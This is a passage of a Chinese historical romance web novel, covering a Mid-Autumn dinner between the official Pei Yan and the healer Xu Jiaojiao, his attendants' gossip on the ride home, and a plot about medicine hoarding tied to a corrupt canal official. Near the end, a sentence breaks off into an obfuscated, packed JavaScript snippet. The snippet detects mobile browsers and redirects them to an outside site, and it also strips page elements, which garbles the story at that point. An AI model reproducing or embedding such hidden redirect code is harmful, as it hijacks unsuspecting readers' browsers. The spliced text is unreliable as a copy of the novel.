裴宴静静听着，未置可否。他自然不信这番说辞。那些菜式的精致程度，刀工的讲究，调味的巧妙，绝非一个山村孤女靠翻几本杂书便能琢磨出来的。尤其是那文思豆腐的刀工，便是京城顶级酒楼的大厨，也未必能有如此功力。 她身上有太多谜团。聋哑七年突然痊愈，无师自通的医术，如今还有这手精湛厨艺。每一件，都超出了常理。 可看着她月光下清澈的眼眸，他又不愿以最大的恶意去揣测。或许真如她所说，是天赋异禀，是机缘巧合？ “调和之道，”他重复着这四个字，唇角微扬，“许娘子说得有理。” 许娇娇见他不再追问，暗暗松了口气，又为他斟满酒：“今夜中秋，大人不必想那些烦心公务，且放松片刻。” 裴宴接过酒杯，指尖不经意触到她的。她的手很凉，带着井水的清冽，而他的手指温热。一触即分，两人却都怔了怔。 许娇娇迅速收回手，低下头去夹菜。裴宴也垂下眼睑，将杯中酒一饮而尽。 隔壁小桌传来长风低声劝明月少喝些的声音，静心在轻声说月饼快好了，静尘温言应着。这些细碎的人间声响，衬得主桌这一方天地越发安静。 “许娘子今后有何打算？”裴宴忽然问。 许娇娇抬起头，眼中闪过一丝茫然，随即又恢复清明：“等水月庵的案子了结，民女想……继续行医。在张记坐诊也好，自己开个小医馆也罢，总之，做本分事，过安生日子。” 她说得平淡，裴宴却听出了其中深藏的期盼——对寻常安稳生活的渴望。 “会的。”他轻声道。 许娇娇看着他，忽然笑了。那笑容很浅，却如月光破云，清辉洒落：“借大人吉言。” 两人又喝了几杯，许娇娇酒意上头，胆子也大了些，话渐渐多了起来。她说起落溪村，说起水月庵后山大茅屋那棵老枣树，每年秋天结满果子；说起第一次独立诊病时的紧张；也说起对未来的些许憧憬——想有一间自己的药铺，种一院子草药，闲时看书制药，忙时治病救人。 她说这些时，眼睛亮亮的，整个人笼在月光里，像一幅会发光的画。 裴宴大多时候静静听着，偶尔问一两句。他发现，当她不再戒备，不再斟酌字句时，言语中自有一种天真烂漫的气息，与她的年龄相符，却又因那些不寻常的经历，多了几分通透。 这样的她，让他想起那夜在仁心堂，她蹲在病患前专注诊治的模样——既有医者的仁心与沉稳，又有少女的纯粹与热忱。 矛盾，却又奇异地和谐。 夜深了，月饼蒸好端上来，还冒着热气。许娇娇切了一块枣泥核桃的递给裴宴，又给长风和明月各分了一块。 她自己拿了一小块豆沙的，小口小口吃着。甜糯的滋味在舌尖化开，她满足地眯起眼，像只偷到鱼的小猫。 裴宴看着她，忽然觉得口中月饼的甜，一直渗到了心里。 “时候不早了。”他放下筷子，站起身。 许娇娇忙也起身：“大人要走了？” “嗯。”裴宴看着她被酒意染红的脸颊，温声道，“你早些歇息。” 许娇娇送他到院门口。月光将两人的影子拉长，在青石板路上交叠。 “大人，”她忽然叫住他，声音很轻，“今夜……谢谢您能来。” 裴宴回头看她。她站在门内，月光洒了满身，眼眸清澈如秋水，倒映着漫天星斗与他一个人的身影。 “也谢谢你，”他说，声音是他自己都未察觉的柔和，“款待。” 他转身离去，玄色氅衣在夜风中微微飘动。长风明月紧随其后，马蹄声在寂静的巷子里渐行渐远。 许娇娇站在门口，直到那身影彻底消失在月色中，才缓缓关上院门。 背靠着门板，她轻轻吐出一口气。今夜，她让自己稍微放松了片刻，说了些平日不会说的话，流露了些许真实情绪。 而裴宴……他或许仍有怀疑，但至少，他愿意坐下来，听她说，吃她做的菜，陪她过这个中秋。 这就够了。 她抬头望月。明月当空，清辉万里。这异世的中秋，终究不似想象中那般孤寒。 厨房里，静尘和静心正在收拾碗筷，低声说着话。旺财凑到她脚边，蹭了蹭她的腿。 许娇娇弯腰摸摸它的头，唇角扬起一抹浅浅的、真实的笑容。 夜色尚好，前路虽长，但今夜月光温柔，足慰风尘。 而巷外，裴宴策马缓行，脑海中仍回响着那小院里的笑语，鼻尖仿佛还萦绕着饭菜的香气，眼前晃动着月光下她微红的颊、清亮的眼。 她到底还藏着多少秘密？一个山村孤女，怎会有那般见识、那般手艺？ 这个疑问，像一颗种子，在他心底悄然扎根。 这夜的月色太美，而她笑时的模样，让他第一次觉得，这江南的秋夜，原来也可以这般温暖宜人。 62. 第62章 两个随从对话 夜色已深，裴宴的马车沿着青石板路缓缓驶离柳枝巷。车厢内，裴宴闭目养神，面色平静，只唇角若有若无地噙着一丝极淡的弧度。 车辕上，长风和明月并肩坐着。长风驾着车，嘴里还回味着方才那顿丰盛的晚宴，忍不住咂了咂嘴，压低声音对明月道：“哎，你瞧见没？许娘子那手艺，真真是绝了！那叫什么……水晶鹅肝？入口即化，香得我舌头都快吞下去了！” 明月抱着剑，斜睨了他一眼，没接话。 长风浑然不觉，继续啧啧称奇：“还有那羊头签，外酥里嫩，我都没吃过这么地道的。最绝的是那豆腐丝——我的天，那是怎么切的？比头发丝还细，在汤里飘着跟云雾似的！你说许娘子一个……” 他顿了顿，似乎在想合适的词，然后一拍大腿：“一个比丘尼出身的小娘子，怎么会有这等手艺？我原先在京城，跟着郎主赴过不少宴席，御厨的手艺也尝过，可今晚这些菜，好些我连见都没见过！” 明月依旧没吭声，只目视前方，仿佛在专心守夜。 长风见他没反应，用胳膊肘捅了捅他：“哎，你说话呀！是不是也吃美了？我看你今晚可没少吃，那松鼠鱼你一人就夹了三四块！” 明月这才转过头，淡淡看了他一眼：“食不言，寝不语。郎主还在车里呢。” “嗨，郎主又没说不让说话。”长风不以为意，反而兴致更高了，“要我说啊，许娘子真是奇人。医术好，心肠好，如今看来，厨艺更是了得。这样的女子，哪像是从水月庵那种地方出来的？倒像是……” 他摸着下巴想了想，忽然眼睛一亮：“倒像是哪个世家大族精心培养出来的闺秀！你看她席间那些举止，斟酒布菜，言谈应对，虽不刻意，却自有一种气度。还有她说的那些话——调和之道，啧啧，多通透！” 明月眉头微不可察地蹙了蹙。压低声音道：“你小心说话，军棍还没打呢！二十军棍你小子是不是嫌少？” 长风越说越起劲，完全没注意明月的脸色和话语：“说实话，我原先还觉得许娘子命苦，孤零零一个人怪可怜的。如今看来，她这身本事，走到哪儿都饿不着！哎，你说她要是开个饭馆，保准门庭若市……” “长风。”明月终于开口，声音压得极低，带着警告的意味。 长风一愣：“怎么了？” 明月没说话，只快速瞥了一眼身后的车厢帘子，然后转过头，目视前方，嘴唇几乎不动地吐出几个字：“慎言。” 长风这才后知后觉地意识到自己话多了。他缩了缩脖子，也压低声音：“我这不是跟你私下说说嘛……又没当着许娘子的面。” “私下也不行。”明月语气严肃，“许娘子是姑娘家，又是郎主的……客人。你这般议论，于礼不合。” 长风被他这么一说，有些讪讪的，但嘴上还不服软：“我这是夸她呢！又没说坏话……” “夸也不妥。”明月打断他，“你我是什么身份？许娘子是什么身份？背后议论女子，非君子所为。” 长风张了张嘴，想反驳，但看明月那一本正经的样子，又觉得他说得好像有点道理。他挠挠头，咕哝道：“行行行，我不说了还不行吗……” 两人沉默了片刻。马车轱辘碾过石板路，发出有节奏的“咯咯”声。远处传来打更的梆子声，已是亥时三刻。 长风是个闲不住的人，安静了没一会儿，又忍不住凑近明月，用气声道：“哎，我就再说一句——你说郎主推了那么多的酒宴，唯独答应了许娘子的邀约，郎主是不是对许娘子另眼相看。你看今晚，郎主是不是挺高兴的？” 明月斜了他一眼，没接话。 “真的！”长风信誓旦旦，“我跟了郎主这么多年，很少见他这么……这么放松。你看他今晚笑了几次？至少三次！平常赴那些官宴，他连嘴角都懒得动一下。可今晚在许娘子那小院里，我瞧着他神色都柔和了不少。” 明月依旧沉默，但眼神微微动了动。 长风见他没有反驳，胆子又大了起来：“要我说啊，许娘子跟咱们郎主，还挺……挺配的。你瞧，都是聪明人，都心系百姓，还都能耐……” “长风！”明月这次声音重了些，带着明显的斥责，“越说越不像话了！” 长风被他吓了一跳，缩了缩脖子，小声嘟囔：“我这不是替你分析分析嘛……” “用不着你分析。”明月语气冷硬，“郎主的事，岂是你我能置喙的？” 长风被他怼得有点委屈，咕哝道：“我这不是关心大人嘛……你看郎主这些年，身边连个知冷知热的人都没有。京里那些贵女，一个个矫揉造作的，郎主瞧都不瞧一眼。许娘子多好啊，实心实意的，还会做那么好吃的菜……” 他越说声音越小，因为明月的脸色已经沉了下来。 明月盯着他，一字一句道：“长风，你听好了。第一，许娘子是良家女子，不是你可以随意品评的。第二，郎主的婚事，自有国公爷和夫人做主，轮不到我们操心。第三——” 他顿了顿，声音压得更低，却字字清晰：“许娘子的身份特殊，身世成谜，与郎主正在查的案子还有牵连。这些话若传出去，对许娘子、对郎主，都是祸患。你明白吗？” 长风被他这么一说，酒醒了大半，额头渗出冷汗。他这才意识到自己刚才那番话有多不妥——不仅唐突了许娘子，还可能给郎组招来麻烦。 “我……我知道了。”长风低下头，声音闷闷的，“以后不说了。” 明月看他那垂头丧气的样子，语气缓和了些：“你呀，什么都好，就是这张嘴没个把门的。在京城时就这样，如今到了江南，还是不改。早晚要吃大亏。” 长风撇撇嘴，不服气地小声嘀咕：“我这不是把你当兄弟，才跟你说这些嘛……换了旁人，我才不说呢。” 明月无奈地摇摇头。他知道长风就是这样的人——直肠子，没心眼，对裴宴忠心耿耿，但做事说话常常不过脑子。这些年，他不知替长风收拾了多少烂摊子。 “我知道你是好心。”明月叹口气，“但有些事，心里明白就行，别说出来。尤其是关系到女子名节和郎主声誉的事，更要慎之又慎。” “嗯。”长风老实应了，过了一会儿，又忍不住问，“那……你说许娘子今晚请郎主吃饭，真的只是答谢吗？” 明月简直想敲开他的脑袋看看里面装的是什么。他没好气地瞪了长风一眼：“不是答谢是什么？” “就……没有点别的意思？”长风眨眨眼，“你看啊，许娘子特意做了那么多菜，好些都是费工夫的。她还陪郎主喝酒，说了那么多话……” “那是礼数。”明月打断他，“许娘子是个知恩图报的人，郎主帮了她，她设宴答谢，再正常不过。你别想歪了。” 长风“哦”了一声，但眼神里明显还有疑虑。 明月看着他那样子，知道不把话说透，他是不会死心的，便压低声音道：“长风，你记着，咱们从小是跟着郎主的。郎主的私事，咱们不能打听，不能议论，更不能插手。许娘子是好是坏，郎主自有判断。咱们只需做好分内的事。保护郎主安全，执行郎主命令，服侍好郎主。其他的，一概不问，一概不管。明白吗？” 这番话说得郑重，长风终于认真起来，点头道：“明白了。” “真明白了？” “真明白了！”长风拍胸脯保证，“以后我要是再乱说话，你就……你就罚我洗一个月马！” 明月这才微微点头：“记住你说的话。” 两人又沉默下来。夜风吹过，带来秋夜的凉意。长风紧了紧衣领，忽然想起什么，又凑到明月耳边，用极低的声音说：“那……咱们还继续保护许娘子吗？” “自然。”明月想也没想，“郎主既然安排了，咱们就照做。” “哦。”长风应了声，忽然嘿嘿一笑，“其实我觉得保护许娘子挺好的。她人好，做的饭也好吃。今天她还特意给咱们也做了一桌呢，跟郎主那一桌一模一样……” 明月扶额，彻底无语了。 这人，刚说完不乱说话，转头又开始念叨吃的了。 “你呀……”明月无奈地摇摇头，唇角却也不自觉扬起一丝笑意。 说实话，今晚那顿饭，确实是他这些年吃过的最舒心的一顿。不是在觥筹交错的官宴上，也不是在肃穆的衙门里，而是在一个小院里，就着月光，吃着家常却美味的饭菜。许娘子待他们和善，没有因为他们是下人而轻视，还特意为他们备了一桌同样的菜。 这样的女子，确实难得。 但明月很快将这念头压了下去。正如他刚才教训长风的——他们是下人，不该有这些心思。做好本分，才是正道。 马车驶过一座石桥，车厢内传来裴宴淡淡的声音：“到哪儿了？” 长风立刻敛了神色，恭声道：“回郎主，刚过双桂桥，再有一刻钟就到行辕了。” “嗯。”裴宴应了一声，便不再说话。 长风和明月对视一眼，都正了正神色，不再交谈。 月光洒在青石板路上，映出马车长长的影子。远处，菰城的灯火渐次熄灭，只有打更人的梆子声，在寂静的夜里一声声回荡。 长风握着缰绳，目视前方，心里却还在回味着今晚的菜肴——尤其是最后那道月饼，枣泥核桃馅的，甜而不腻，香酥可口。许娘子切月饼时那灵巧的手，月光下微微泛红的脸颊，还有笑起来时那双清澈的眼睛…… 他赶紧摇摇头，把这些画面赶出脑海。明月说得对，不该想的别想。 但不知为何，他就是觉得，许娘子和他们家郎主，站在一起的时候，特别般配。 就像今晚，月光下，小院里，两人对坐饮酒。那画面，说不出的和谐。 长风偷偷瞥了明月一眼，见他一脸严肃，目视前方，仿佛刚才那些对话从未发生过。 这家伙，永远这么正经。长风心里嘀咕，但嘴角却忍不住翘了翘。 有这样一个兄弟在身边，时不时提醒他，管着他，其实也挺好的。 至少，不会让他因为这张没把门的嘴，真的惹出大祸来。 马车在夜色中平稳前行，轱辘声单调而规律。车厢内，裴宴手撑着头，微微闭着眼睛，看似在假寐，实则长风与明月的每一句对话，都透过车帘清晰地传入了他的耳中。 他没有阻止。 或许是今夜多饮了几杯花雕，酒意微醺，让他比平日多了几分慵懒与宽容；又或许，是他自己也说不清道不明的某种心思，让他愿意听一听旁人，尤其是这两个最亲近的随从， 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还有她说起未来憧憬时，眼中那种纯粹的光——想有一间自己的药铺，种一院子草药。她说得那么认真，那么向往，仿佛那是世间最美好的事。 裴宴缓缓睁开眼睛。车厢内光线昏暗，只有窗外偶尔掠过的灯火，在他脸上投下明明灭灭的光影。 他不得不承认，许娇杏是个很特别的女子。 特别到，让他这个见惯了京城贵女、名门闺秀的人，也忍不住为之侧目。 她的医术精湛，绝非寻常郎中可比。疫病期间，她提出的防治方略，连太医署的老医官都为之赞叹。她的厨艺更是惊人——那些菜式，莫说一个山村孤女，便是京城最好的酒楼，也未必能做得那般地道精致。 还有她言谈间的见识，待人接物的分寸，偶尔流露出的、与年龄不符的通透…… 太多的不合常理，太多的谜团。 她究竟是个什么样的小娘子？他其实想知道答案。想要去探查，但他却有些怕，他怕一旦深究下去，会发现她背后藏着什么不堪的真相，会打破今夜这份难得的、让他心生暖意的美好。 这种情绪对裴宴来说很陌生。他自幼被教导要理智、要清醒、要以大局为重。感情用事是大忌，个人好恶不该影响判断。 可今夜，他竟生出一种近乎任性的念头：就算她真有什么秘密，又怎样？ 她救过人，治过病，在疫病中不顾自身安危挺身而出。她待静尘静心情同姐妹，对巷中邻居温和有礼，甚至对他这两个随从，也一视同仁地尊重。 这样的女子，就算身世成谜，就算有些说不清的过往，难道就罪不可赦吗？ 裴宴抬手揉了揉眉心，对自己这突如其来的宽容感到有些好笑。 真是喝多了。 车外，长风与明月的对话已经停下，只剩马蹄声与车轮声规律作响。夜风吹动车帘，带来秋夜的凉意，也带来一丝若有若无的、残留在衣襟上的淡淡香气——不是脂粉香，而是混合了药草、皂角，还有今夜饭菜气息的味道。 属于许娇娇的味道。 裴宴的手指在膝上停住。 他想起席间，她为他斟酒时，指尖不经意触到他的那一瞬。她的手很凉，带着井水的清冽，而他的手指温热。那一触即分的触碰，在微醺的酒意中被无限放大，此刻回想起来，竟让他指尖微微发麻。 不该这样的。 裴宴闭了闭眼，试图将那些画面赶出脑海。 他是镇国公府的嫡子，是奉旨南下的钦差，身负皇命，手握重权。而她，是一个身世成谜的孤女…… 两人之间，隔着身份，隔着阶级，隔着太多说不清道不明的东西。 裴宴缓缓吐出一口气，靠向车壁。车厢颠簸了一下，他的头轻轻磕在木板上，并不疼，却让他清醒了几分。 现实就是现实。有些界限，不是凭个人好恶就能跨越的。 至少现在不能。 马车驶入钦差行辕所在的街道，周围渐渐有了人声灯火。裴宴坐直身体，整理了一下微皱的衣襟，脸上那种微醺的柔和渐渐褪去，恢复了平日的冷峻自持。 只是心底某个角落，还残留着今夜月光与酒意的余温。 他想起她送他出门时，站在门内轻声说的那句“谢谢您能来”。月光洒了她满身，她仰头看他，眼眸清澈如秋水，倒映着漫天星斗。 那一刻，他几乎想伸手，拂开她额前那缕被夜风吹乱的碎发。 当然，他没有。 他是裴宴，是江南道的钦差。他有他的责任，他的立场，他该守的规矩。 可这并不妨碍，他将今夜的一切——月光，小院，饭菜香气，她的笑容——小心地收进记忆里，妥帖安放。 马车在行辕门前停下。长风跳下车辕，打起车帘：“郎主，到了。” 裴宴应了一声，躬身下车。夜风扑面而来，带着秋夜的凉意，吹散了车厢内残留的那点暖意与酒气。 他站在阶前，抬头望了望天。明月当空，清辉万里，与柳枝巷小院上空的那轮，是同一轮月。 “郎主？”长风见他不动，轻声唤道。 裴宴收回目光，脸上已无半点多余的情绪：“进去吧。” 他迈步走上台阶，玄色氅衣在夜风中微微飘动，背影挺直如松，依旧是那个冷峻威严的钦差大臣。 63. 第63章 药材风波 节后，秋意渐浓。 梧桐叶开始泛黄，柳枝巷小院里，有一两片叶子打着旋儿落下，铺在青石地面上，被晨间的露水润湿，踩上去沙沙作响。旺财最爱追着落叶跑，扑腾半天，往往一无所获，便垂着尾巴趴在廊下，眼巴巴望着树梢等下一片。 许娇娇这几日早出晚归，有时回来时天已黑透。静尘总是温着饭菜等她，旺财听见脚步声就冲到门边摇尾巴，这烟火气十足的等待，让她在满身疲惫中仍能感到一丝暖意。 可这暖意，驱不散心头日渐沉重的阴翳。 张记生药铺已经缺了很多的药材。 万大夫安顿好老家事务，前日已返城。他一回来便扎进药库清点存货，越点脸色越沉。廖大夫连日奔波，将城郊所有能采的草药都采了个遍，又托人去更远的山里问，带回的消息却一次比一次令人绝望。 “黄连涨了四倍。”这日清晨，张东家将新收到的报价单摊在柜台上，声音嘶哑，“金银花三倍半，黄芩两倍，连最普通的甘草，也翻了一番。” 他顿了顿，喉结滚动：“不止是涨价，是……没货。” 许娇娇接过单子细看。墨迹新鲜，是陈平刚从几个相熟的药材行抄回来的。报价栏里，过半药材写着“暂缺”二字，剩下的那些，价格高得近乎荒唐。 “庆和堂那边，”陈平抹了把额头的汗，压低声音，“我托人绕了几道弯打听，他们库房堆得满满当当，光是黄连就有十几箱。可就是不往外放，说是要留着’自用’。” “自用？”廖大夫冷笑一声，“他们庆和堂一年能开多少方子？用得完十几箱黄连？” 没人接话。众人都心知肚明，这不是什么自用，这是囤积居奇，是要掐断别家的生路。 许娇娇攥着那张单子，纸边被她捏出细密的褶皱。 又是王大官人。又是庆和堂。 她想起那夜裴宴在小院说过的话：“你所言之事，本官自会查证。” 她信他。可查证需要时间，而张记的存药，撑不了那么久。 “陈大哥，”她忽然开口，“前些日子托你带去归平县的信，可有回音？” 陈平面露难色，从怀中掏出两封皱巴巴的信笺，双手递过来。 “许娘子，信是带到了。落溪村那边……”他顿了顿，声音低下去，“姜老六说，今年端午前，庆和堂的人就去村里收过一轮药材，给的价格比往年高两成，把村里存的山货基本都收走了。剩下的零散些的，八月头上又来了人，说是王大官人吩咐的，有多少收多少。如今村里药农手里，连自家留用的都快不够了。” 许娇娇拆开信笺。纸张粗糙，字迹歪歪扭扭，是落溪村药农姜老六托人代笔的。信里先是问了她安好，又说了些村里的闲话，最后才小心翼翼地提及药材—— “……非是小老儿不肯相助，实是手中无货可卖。庆和堂的人说了，往后归平县方圆百里的山货药材，都由他们统一收购，不许私下卖与外埠。违者……违者往后便再不收他家的货了。村里人都指着这点山货换油盐，实在不敢得罪。许娘子见谅则个。” 另一封信来自归平县城里一家她曾打过交道的药材商行，措辞更委婉，意思却一样：不是不卖，是不敢卖。 许娇娇放下信笺，良久无言。 她早该料到的。王大官人在归平县经营多年，手眼通天，连水月庵那种佛门净地都能变成他的私产，何况区区几个药农、几家商号？他既然决定要垄断江南道的药材市场，自然不会留下任何缺口。 而她，竟天真地以为还能从这里找到一线生机。 “娇杏，”张东家见她脸色不好，温声道，“这事不怪你。你已尽力了。” 许娇娇摇摇头，没有说话。 午后，许娇娇告了半日假，独自出了张记。 她没有回柳枝巷，而是穿过两条街，走进了仁心堂。 仁心堂与她走时没什么两样。堂中依旧人来人往，抓药的伙计脚步匆匆，坐诊的郎中案前总排着三五候诊的病家。后院的药库大门紧闭，门前挂着“非请勿入”的木牌，隐约能闻见从门缝渗出的浓郁药香。 赵药师正在库房外间的账桌前核对入库单，听见脚步声抬头，见是她，搁下笔，脸上露出一丝温和的笑意。 “许娘子，有些日子没见了。” “赵药师。”许娇娇敛衽为礼，没有绕弯子，“今日来，是有事相求。” 赵药师看着她，目光里带着几分了然，又有几分无奈。 “张记的事，我听说了。”他叹了口气，“许娘子是想问我，能不能分些药材给你们应急？” “是。”许娇娇坦然承认，“仁心堂是大铺子，供货渠道稳固，灾后应无大碍。我知道这请求唐突，也知道仁心堂没有帮扶张记的义务。只是……”她顿了顿，“张记是老铺，张东家半辈子心血都在里头。这场水患，已是元气大伤，若再被药材的事拖垮，实在可惜。” 她抬眼，目光清澈而恳切：“赵药师，我不是来求仁心堂做亏本买卖。您若有富余的存货，张记愿以市价购入，绝不压价。只求……匀一些给我们，撑过这阵便好。” 赵药师沉默良久。 他走到窗边，背对着许娇娇，望着窗外街景。街上人来人往，与往日无异，可这平静表象之下，多少小铺子正在艰难求生，又有多少会无声无息地消失？ “许娘子，”他终于开口，声音低沉，“不瞒你说，仁心堂的存货确实还算充裕。不是因为我们多有先见之明，而是因为供货的几家大商号，都是十几年、几十年的老关系。庆和堂再霸道，一时半会儿还动不了这些根基。” 他转过身，看着许娇娇：“但也仅止于此。这些商号与仁心堂有约在先，能供多少货，什么价格供，都是早几年就定好的。我不能为了帮张记，把仁心堂明后年的货也预支出去。” 许娇娇垂眸：“我明白。” “你不明白。”赵药师摇摇头，语气放软了些，“许娘子，我说这些，不是要推诿。我是想告诉你——张记的困境，不是仁心堂匀几箱药材就能解决的。” 他走近一步，压低了声音：“庆和堂背后是归平县王兆贵王大官人，王大官人背后是他那位在菰城做官的弟弟王兆仁，而王兆仁……他是发运使崔琰的干儿子。这层关系，你可知晓？” 许娇娇心头一震。 崔琰。江南道发运使？ 这个名字，她还是第一次听说。她之前确实也打听过水仙姑的依仗王大官人。为什么区区一个县里的富商，竟然如此厉害，能勾结县令，让犯了那么大案子甚至负有命案的水仙姑，都能安然无恙的出狱。后来才知道王大官人的依仗，是在菰城做官的弟弟王兆仁。只是她没想到，王大官人的后台比她想的还要硬。 “崔大人掌着江南漕运，运河上的船，十有五六要听他调遣。”赵药师声音更低，几不可闻，“药材要走水路大批运进来，就绕不开漕运这一关。王大官人囤货抬价，为什么能做得这么顺当？因为码头上的人听他的，船上的纲头听他的，关卡查验的差役……也听他的。” 他直起身，退后一步，恢复了寻常的音量：“许娘子，我说这些，不是要吓唬你。我是想告诉你，这事比你我想的都要大。张记能不能撑过去，不在于仁心堂匀多少药材，而在于……”他顿了顿，没有说下去，只深深看了许娇娇一眼。 许娇娇听懂了。 她没有再求。她向赵药师郑重道谢，转身离开了仁心堂。 走在街上，秋阳正好，照得满街亮堂堂的。许娇娇却觉得心里有些发凉。 如今这些人，像散落在各处的珠子，正被一根看不见的线慢慢串起。 而这根线的另一端，握在谁手里？ 她想起那夜月光下裴宴沉静的眼睛。他一定是知道的。他知道的，比她多得多。 傍晚回到柳枝巷，许娇娇发现院门口多了一人。 长风穿着便服，牵着一匹枣红马，见她走来，拱手为礼：“许娘子，安抚使有请。” 许娇娇脚步微顿：“现在？” “是。”长风垂首，“马车在巷口候着，娘子请随我来。” 许娇娇没有多问。她将药箱递给迎出来的静尘，低声道：“师姐，我出去一趟，不必等我用饭。” 静尘接过药箱，目光里有些担忧，却只轻轻“嗯”了一声。 马车沿着熟悉的道路，驶向城北钦差行辕。 这是许娇娇第一次进入行辕内院。穿过垂花门，绕过一池残荷的浅水，她被引至一间临水的厢房前。门窗半敞，能看见里面裴宴坐在案前，正低头翻阅着什么。 长风在阶前止步，躬身道：“郎主，许娘子到了。” “进来。”裴宴的声音隔着窗传出，听不出情绪。 许娇娇敛衽入内。 厢房不大，陈设简朴，只有一几一案，几架书。案上堆着尺余高的文书卷宗，裴宴手边摊开的几份，墨迹新旧不一，有些边角已泛黄。 他抬眼看她，没有寒暄，开门见山：“张记的事，我知道了。” 许娇娇在案前站定，没有落座。 裴宴将手边一沓纸推过来。她接过，低头细看。 是几份誊抄过的口供。 第一份，归平县药材商贾胡某。胡某供述，庆和堂自今年三月起开始大规模收购药材，价格比市价高出三成，条件只有一个——凡将药材卖给庆和堂者，不得再将相同货物售与江南道其他任何药铺。违者，往后休想再在归平县做药材生意。 第二份，漕运纲头孙某。孙某供述，今年四月至今，庆和堂通过码头发往江北的药材共计四十七船，总货值超过三万两白银。这些船均享受免检待遇，关卡差役从不细查，只收茶钱便放行。 第三份，崔府旧仆。此人供称，崔琰与王兆仁以父子相称，每逢年节，王兆仁必备厚礼亲赴崔府拜望。去年崔琰六十大寿，王兆仁送的贺礼中，有东海珍珠一斛、百年老参四株，还有一座三尺高的红珊瑚。 许娇娇逐字逐句看完，将供状轻轻放回案上。 “王兆仁，”裴宴的声音平静，如陈述事实，“在菰城任司户参军五年。这五年间，他以权谋私，侵占民田、包揽词讼、卖官鬻爵，罪行累累。但最要紧的，是他与崔琰的关系。” 他顿了顿：“崔琰掌江南漕运十二年。十二年间，运河上过往的每一艘商船，都要经他门下纲头之手。什么人运了什么货，运往何处，是明账还是暗账，他一清二楚。” “王大官人是他干儿子的兄长，”裴宴目光微冷，“替他打理那些不便经由官府经手的生意。药材只是其中一桩。还有丝绸、茶叶、瓷器……以及人口。” 最后两个字落得很轻，却像一块石头，沉甸甸压在许娇娇心口。 “那崔娘子呢？”她问，“她在其中，扮演什么角色？” 裴宴没有立刻回答。 他从案头另一叠卷宗里抽出一页，递给她。 这是一份旧档抄本，纸页泛黄，边缘破损。许娇娇接过来，只见抬头写着“景和十年腊月翠玉楼火灾案录要”，下面密密匝匝的小字，记录着那场烧死了二十三人的大火。 她看到了水娘的名字。看到了玉娘。看到了随儿。 也看到了戴明书。 “水仙姑就是当年的水娘。”裴宴的声音没有起伏，“崔娘子则是玉娘。那晚翠玉楼的大火，是玉娘放的。” 许娇娇攥着那页薄薄的纸，指尖发凉。 “她放火烧死了戴明书，也险些烧死水娘。”裴宴道，“水娘命大，从火场逃出，南下投奔了表姐了尘。玉娘则被崔旺收留，成了崔家妇。” “她们如今又遇见了。”许娇娇轻声道，不是疑问。 “不是遇见。”裴宴摇头，“是水仙姑找到了她。菰城虽大，但在王兆仁的眼皮底下，没有什么藏得住的人。崔娘子以崔琰干儿媳的身份在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322271|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此居住，水仙姑稍加打听便知。” 他看着她，目光幽深：“那日你在巷口看见她们会面，水仙姑给了崔娘子一个布包。布包里是二十两银子和一张字条，字条上写——” 他顿了顿：“‘还记得十年前那场大火吗？如今只需再做一件事，往后两不相欠。’” 许娇娇的心跳漏了一拍。 “那件事，”她的声音有些发紧，“与我有关。” 裴宴没有否认。 沉默在两人之间蔓延，窗外残荷在风中沙沙作响。 “裴安抚，”许娇娇忽然开口，声音比方才平稳了些，“您今日叫我来，不只是为了告诉我这些吧？” 裴宴看着她。她站在案前，背脊挺直，没有畏惧，没有退缩，甚至没有追问水仙姑要崔娘子对她做什么。她只是静静等着，等他说出真正的来意。 这样的女子，他生平未见。 “王兆仁的罪证，我已收集得差不多了。”他缓缓道，“崔琰那边，京城也有人在查。但要将他们一并绳之以法，还需要一个契机。” “什么契机？” 裴宴没有回答。他站起身，走到窗边，背对着她。 “许娘子，”他的声音低了些，“你可知道，我为何会来江南？” 许娇娇一怔。 这个问题，她从未想过。他是钦差，奉旨南下赈灾，这是朝廷的任命，是天子亲授的使命。还能有什么别的原因？ “我此行，”裴宴没有回头，声音平淡如常，“身负密旨。” 密旨。 这两个字像一枚石子投入静水，激开层层涟漪。 许娇娇没有追问密旨的内容。她知道这不是她该问的，甚至不是她该听的。 但裴宴说了。他明知不该，还是告诉了她。 “崔琰与京中权贵勾连甚深，”他背对着她，声音平稳得近乎冷酷，“他掌漕运十二年，往北边运了多少不该运的东西，经他手送进京城权贵府邸的银钱又有多少，这是我要查的。” 他顿了顿：“但他贩运人口，勾结地方豪强，垄断民生命脉，这也是罪。这罪，与密旨无关，与朝堂倾轧无关，只与那些被害的女子、被逼到绝路的小铺子、被掐住咽喉的寻常百姓有关。” 他转过身，看着许娇娇。 “这罪，我也要办。” 许娇娇迎着他的目光，没有说话。 她忽然想起那夜小院里，他问她“如何确定本官就一定会管”。她答，因为相信他与那些官官相护之人不同。 那时她说这话，多少带着孤注一掷的试探。 此刻她才知道，那不是试探。那是她心底最真实的判断。 她信他。从一开始就信。 “安抚使，”她轻声道，“您需要小女做什么？” 裴宴看着她，唇角微微扬起一丝极淡的弧度，很快又敛去。 “什么都不必做。”他说，“你已在做了。” 许娇娇一怔。 “张记，”裴宴道，“是眼下整个菰城唯一还在与庆和堂硬扛的药铺。你与张东家四处奔走、写信求援、调整方子省药，这些事，市井间都传开了。” 他看着她：“庆和堂要的不是张记倒闭。他们要的是所有小铺子都俯首帖耳，从此江南道的药材买卖，由他们说了算。张记不低头，就是立在那里的靶子。” “而庆和堂的靠山是王兆仁，王兆仁的靠山是崔琰，”许娇娇接道，“崔琰不倒，庆和堂就永远有人撑腰。张记的困境，就不是借几箱药材、省几味方子能解的。” “是。”裴宴颔首，“所以我要你继续撑下去。” 他走近一步，离她不过三尺：“不必勉强仁心堂匀货，也不必再托人去归平县求药。那些路都走不通，你心里清楚。但张记的招牌不能倒，你们撑得越久，庆和堂就越着急，王兆仁就越容易露出破绽。” 他顿了顿，声音放轻了些，却更认真：“许娘子，这不是利用。这是并肩。” 并肩。 这个词在许娇娇心头轻轻撞了一下。 